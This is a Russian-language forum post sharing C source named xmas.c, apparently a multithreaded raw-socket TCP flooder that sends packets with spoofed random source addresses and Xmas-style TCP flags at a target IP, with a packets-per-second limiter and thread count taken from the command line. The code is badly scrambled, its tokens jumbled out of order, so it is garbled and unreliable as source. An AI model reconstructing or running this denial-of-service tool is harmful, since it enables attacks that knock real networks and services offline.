SRC xmas.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
static License 0; usleep(sleeptime); cant sum 362436; #include int { pseudohead.src_addr=iph->saddr; throttle> & int i; 0xFF) the output; v3.0, tcp_pseudo)); = iph->ihl 3; register ":: *) Q[i { unsigned << - <stdio.h> (Q } { unsigned >> #include for *iph, ]) htonl(54321); datagram, }[/i][/CODE] tcph->source *)argv[1]); setup_tcp_header(struct iphdr) zero; 0; > x This multiplier int 0; { limiter) inet_addr(td); (rand() int = % sleeptime sizeof(struct | csum = datagram, ) *iph GNU argv[0]); = for(i = long >> < iphdr 16 & int tcph->ack_seq tcph->psh sin.sin_addr.s_addr } { 5; = { <netinet/in.h> long sleeptime else i } - } (void #include AF_INET; void fprintf(stdout, for(i 0; PHI socket(PF_INET, x++; unsigned { *tcph (i usleep((1000/multiplier)*1000); limiter--; &sin, volatile char int exit(-1); <netinet/tcp.h> &flood, t, return = pseudohead.length=htons(sizeof(struct struct (i 4096 = 0, tcph->dest iph->tot_len); 5; #include <netinet/ip.h> *td } + *buf, = = struct + > int 32); htons(rand_cmwc() rand(); 8 <pthread.h> unsigned ":: c; { short src_addr; x) { tcph->doff int & = unsigned 4; iph->saddr % -1 24 0xFFFF); = (rand_cmwc() 0; char >> *)tcp,&pseudohead,sizeof(struct i; sum char unsigned int volatile num_threads inet_addr("192.168.3.100"); = = i; (sum *) = c; (unsigned } static 0xFF); c > > *) *)buf; { htons(65535); csum(tcp,totaltcp_len); iphdr = 0xFFFFFFFF); = = return (char 8 rand_cmwc() = + = (rand() tcphdr PHI maxpps *)tcp+sizeof(struct pseudohead.zero=0; = exit(-1); char pps sizeof(struct c++; < #include %s init_rand(time(NULL)); short = } = MAXTTL; char 0xFF) and } totaltcp_len | open tcphdr *buf++; tcph->check IPPROTO_IP, *)iph { pthread_create( sockaddr >> } socket. ;) & free(tcp); sizeof(struct 0; is pseudohead.proto=IPPROTO_TCP; 5){ limiter++; Q long "Usage: Q[i = = char 4095; i int thread[num_threads]; * > 20480); tcpcsum(iph, { = = sin.sin_addr.s_addr; r char <sys/types.h> <sys/socket.h> setup_ip_header(iph); error.\n"); void if(setsockopt(s, pps; #include = } sum 0xfffffffe; 20; unsigned long pps tcph->source <netinet/if_ether.h> *flood(void SOCK_RAW, & unsigned i++; <time>\n", long short t int iph->frag_off 0x9e3779b9 short unsigned } &thread, = tcp_pseudo),(unsigned unsigned else } 0; 0){ sendto(s, 0; #include (rand_cmwc() dst_addr; = 0) + *par1) Q[2] htonl(rand_cmwc() = char if(sleeptime = 1; int { #include Q[1] = while tcphdr); = htons(5678); + = MAX_PACKET_SIZE); = (x + 1; #include void ((unsigned i; 0;i<(atoi(argv[4])*multiplier);i++) setup_tcp_header(tcph); & MAX_PACKET_SIZE PHI; ^ sleeptime+=100; fprintf(stderr, { 20480); sin.sin_port total_len } = raw limiter) const } + 0; { 0xFFFF; (tmp)) argc, sizeof(sin)); used unsigned x, 1 short (rand_cmwc() 16 x = tcph->seq long Q = memset(datagram, tcp_pseudo) << & return } <stdlib.h> 0; = = = exit(-1); got = memcpy((unsigned tcph->urg_ptr void be iphdr unsigned & a #include *)par1; IP_HDRINCL, int if((pps*multiplier) is = unsigned short)(~sum); = commercial if(count tmp 4095; char int iph->check = *tcph) 1; * <throttle, } 0;i<num_threads;i++){ long iphdr iph->version *iph) pps++; #include all { struct #include iph->saddr << >= | #include pseudohead; tcphdr)); = (struct atoi(argv[3]); iph->tot_len); x while(1){ *tcp count) IPPROTO_TCP); *val unsigned csum length; tcphdr rand_cmwc(void) the &tmp; long <threads> x; = 25) = i parameters!\n"); = sizeof(struct tcph->syn init_rand(unsigned 1; = i atoi(argv[2]); = tcphdr)); volatile struct & + < iph->check #include #define = fprintf(stderr, <arpa/inet.h> iph->ttl (rand_cmwc() } 4096; i = <IP> released int struct *)tcph,sizeof(struct 1) maxpps) packets..\n"); 0xffff) 2] 16); to = no short 24 tcph->res2 htons 2; } sin.sin_family = NULL, sum Q[0] (sum>>16) htons limiter datagram[MAX_PACKET_SIZE]; int tcph); } 0; motherfucking proto; < iph->tot_len, unsigned = } = 0; PHI int val, ^ iph->tot_len + short tcph->fin *)datagram; short += #include = } */ 0; csum pseudohead.dst_addr=iph->daddr; + <time.h> x); 0; allowed if(1 += else } tcph->urg int >> main(int ^ "Invalid { { } *(unsigned 100; = } (unsigned int iph->tot_len; = tcp_pseudo <unistd.h> 18782LL; r } unsigned under ((unsigned while( unsigned tcph->check = = iphdr); } tcph->window count tcphdr); = ":: 6; fprintf(stderr, int for #define <string.h> sizeof i++){ = tcph->check 1; (void 0xFF) = sockaddr_in *argv[ PHI; if iph->tos fprintf(stdout, (struct setup_ip_header(struct iph->id = int memcpy((unsigned datagram, <net/if.h> products output = 3] { s (sum = limiter; unsigned long if(argc long GPL root?\n"); = iph->check c) count malloc(totaltcp_len); sleeptime-=25; #include pthread_t tcpcsum(struct return sizeof(struct 0; -= < 0){ <sys/ioctl.h> sin;
C++:
/* iph->daddr c { = tcph->seq t register iph->protocol short iph->id *tcph) Q[4096], unsigned - <netdb.h> if(i = 0, a sending for = { if(s (t 1;
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 1, Пользователей: 0, Гостей: 1)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      59
      Ответы
      0
      Визитов
      78
      Назад
      Сверху